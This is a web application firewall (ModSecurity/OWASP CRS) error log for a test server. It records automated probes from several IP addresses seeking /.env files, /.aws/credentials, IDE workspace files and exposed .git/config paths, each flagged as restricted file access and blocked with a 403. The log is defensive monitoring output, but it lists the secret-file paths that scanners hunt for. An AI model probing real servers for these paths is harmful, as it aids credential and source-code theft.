[Mon Sep 02 07:03:06.392969 2024] [:error] [pid 1622511] [client 179.43.149.114:57166] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;ZtVHCh9Opdfq8zuVfMZmowAAAAE&quot;]
[Mon Sep 02 07:03:06.393133 2024] [:error] [pid 1622511] [client 179.43.149.114:57166] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;ZtVHCh9Opdfq8zuVfMZmowAAAAE&quot;]
[Mon Sep 02 07:03:06.427129 2024] [:error] [pid 1623175] [client 179.43.149.114:57172] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.exemple&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.exemple&quot;] [unique_id &quot;ZtVHCoaaXDnf4BvsXx326gAAAAg&quot;]
[Mon Sep 02 07:03:06.427351 2024] [:error] [pid 1623175] [client 179.43.149.114:57172] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.exemple&quot;] [unique_id &quot;ZtVHCoaaXDnf4BvsXx326gAAAAg&quot;]
[Mon Sep 02 07:03:06.427521 2024] [:error] [pid 1623175] [client 179.43.149.114:57172] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.exemple&quot;] [unique_id &quot;ZtVHCoaaXDnf4BvsXx326gAAAAg&quot;]
[Mon Sep 02 07:03:06.461834 2024] [:error] [pid 1623168] [client 179.43.149.114:57186] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_exemple&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_exemple&quot;] [unique_id &quot;ZtVHCpuKmSf7Wo3EornBDAAAAAY&quot;]
[Mon Sep 02 07:03:06.462062 2024] [:error] [pid 1623168] [client 179.43.149.114:57186] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_exemple&quot;] [unique_id &quot;ZtVHCpuKmSf7Wo3EornBDAAAAAY&quot;]
[Mon Sep 02 07:03:06.462266 2024] [:error] [pid 1623168] [client 179.43.149.114:57186] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_exemple&quot;] [unique_id &quot;ZtVHCpuKmSf7Wo3EornBDAAAAAY&quot;]
[Mon Sep 02 07:03:06.529070 2024] [:error] [pid 1622510] [client 179.43.149.114:57210] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZtVHCghQpUhQPAF6tQSnUAAAAAA&quot;]
[Mon Sep 02 07:03:06.529293 2024] [:error] [pid 1622510] [client 179.43.149.114:57210] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZtVHCghQpUhQPAF6tQSnUAAAAAA&quot;]
[Mon Sep 02 07:03:06.529482 2024] [:error] [pid 1622510] [client 179.43.149.114:57210] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZtVHCghQpUhQPAF6tQSnUAAAAAA&quot;]
[Mon Sep 02 11:15:10.243945 2024] [:error] [pid 1622514] [client 179.43.149.114:51162] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_exemple&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_exemple&quot;] [unique_id &quot;ZtWCHlPEwbU3AgrFpXLh_AAAAAQ&quot;]
[Mon Sep 02 11:15:10.244189 2024] [:error] [pid 1622514] [client 179.43.149.114:51162] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_exemple&quot;] [unique_id &quot;ZtWCHlPEwbU3AgrFpXLh_AAAAAQ&quot;]
[Mon Sep 02 11:15:10.244381 2024] [:error] [pid 1622514] [client 179.43.149.114:51162] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_exemple&quot;] [unique_id &quot;ZtWCHlPEwbU3AgrFpXLh_AAAAAQ&quot;]
[Tue Sep 03 07:40:36.769459 2024] [:error] [pid 1643798] [client 88.173.222.130:6414] [client 88.173.222.130] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtahVDpsPEh9260A3eJj5AAAAAA&quot;]
[Tue Sep 03 07:40:36.770198 2024] [:error] [pid 1643798] [client 88.173.222.130:6414] [client 88.173.222.130] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtahVDpsPEh9260A3eJj5AAAAAA&quot;]
[Tue Sep 03 07:40:36.770843 2024] [:error] [pid 1643798] [client 88.173.222.130:6414] [client 88.173.222.130] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtahVDpsPEh9260A3eJj5AAAAAA&quot;]
[Wed Sep 04 15:26:28.511509 2024] [:error] [pid 1668041] [client 45.135.232.70:53144] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTRwAAAAQ&quot;]
[Wed Sep 04 15:26:28.511949 2024] [:error] [pid 1668041] [client 45.135.232.70:53144] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTRwAAAAQ&quot;]
[Wed Sep 04 15:26:28.512208 2024] [:error] [pid 1668041] [client 45.135.232.70:53144] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTRwAAAAQ&quot;]
[Wed Sep 04 15:26:28.518198 2024] [:error] [pid 1668042] [client 45.135.232.70:53150] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzygAAAAU&quot;]
[Wed Sep 04 15:26:28.518827 2024] [:error] [pid 1668042] [client 45.135.232.70:53150] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzygAAAAU&quot;]
[Wed Sep 04 15:26:28.519271 2024] [:error] [pid 1668042] [client 45.135.232.70:53150] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzygAAAAU&quot;]
[Wed Sep 04 15:26:28.532052 2024] [:error] [pid 1668037] [client 45.135.232.70:53160] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_yowAAAAA&quot;]
[Wed Sep 04 15:26:28.532467 2024] [:error] [pid 1668037] [client 45.135.232.70:53160] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_yowAAAAA&quot;]
[Wed Sep 04 15:26:28.532680 2024] [:error] [pid 1668037] [client 45.135.232.70:53160] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_yowAAAAA&quot;]
[Wed Sep 04 15:26:28.534843 2024] [:error] [pid 1669687] [client 45.135.232.70:53192] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /demo/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDAAAAAc&quot;]
[Wed Sep 04 15:26:28.535118 2024] [:error] [pid 1669687] [client 45.135.232.70:53192] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDAAAAAc&quot;]
[Wed Sep 04 15:26:28.535328 2024] [:error] [pid 1669687] [client 45.135.232.70:53192] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDAAAAAc&quot;]
[Wed Sep 04 15:26:28.536069 2024] [:error] [pid 1668040] [client 45.135.232.70:53218] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /dev/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFLwAAAAM&quot;]
[Wed Sep 04 15:26:28.536649 2024] [:error] [pid 1668040] [client 45.135.232.70:53218] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFLwAAAAM&quot;]
[Wed Sep 04 15:26:28.537047 2024] [:error] [pid 1668040] [client 45.135.232.70:53218] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFLwAAAAM&quot;]
[Wed Sep 04 15:26:28.546735 2024] [:error] [pid 1668038] [client 45.135.232.70:53278] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /live/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCruAAAAAE&quot;]
